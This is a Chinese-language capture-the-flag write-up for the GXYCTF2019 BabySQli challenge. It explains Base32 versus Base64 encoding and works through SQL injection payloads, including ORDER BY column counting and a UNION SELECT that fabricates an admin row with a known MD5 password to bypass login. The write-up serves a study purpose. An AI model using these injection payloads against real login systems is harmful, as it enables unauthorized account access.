BASE32与BASE64区别与UNION查询特性

Posted 林文浩

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BASE32与BASE64区别与UNION查询特性相关的知识,希望对你有一定的参考价值。

来源[GXYCTF2019]BabySQli 1

无聊试一下弱口令admin/admin得到WRONG PASS的提示,说明admin用户存在,并且得到一个search.php页面,源码如下

发现一串神奇的字符

 这里有个知识BASE32与BASE64区别

BASE64:包含大写字母(A-Z),小写字母(a-z),数字(0-9)以及+/  一般带==

BASE32:只有大写字母(A-Z)和数字234567  一般带===

BASE16即为16进制

当ASCll用Base加密达不到所对应的位数的时候用=号补齐

本题需补上一个=

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5=

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
select * from user where username = \'$name\'

得到sql语句后手动测试几下后直接fuzz,得到结果如下

419表示被过滤,由此得到一系列语句

\' ORDER BY 3#     --3个字段
\' union select \'admin\',2,3#   --此处显示wrong user
\' union select 1,\'admin\',2#   --此处显示wrong pass 说明2字段为用户 猜测3字段为密码

 此处为第二个知识点

在联合查询并不存在的数据时,联合查询就会在表中构造一个虚拟的数据。

首先可以看到该表只有一个用户

然后我们可以用联合查询的方式将查询的数据插入到表中

 由此构造payload
\' union select 1,\'admin\',\'e10adc3949ba59abbe56e057f20f883e\'# --3字段为123456的MD5值,一般来说数据库中密码由MD5形式保存

同时在密码中输入123456

得到flag

 

以上是关于BASE32与BASE64区别与UNION查询特性的主要内容,如果未能解决你的问题,请参考以下文章

base64深入理解与判断base32base16

Base64与MD5的区别

步步为营-33-Md5(32)加密与Base64加密

2018-07-17 Base64解码与编码

Python 中 base64 编码与解码

base64用法和使用场景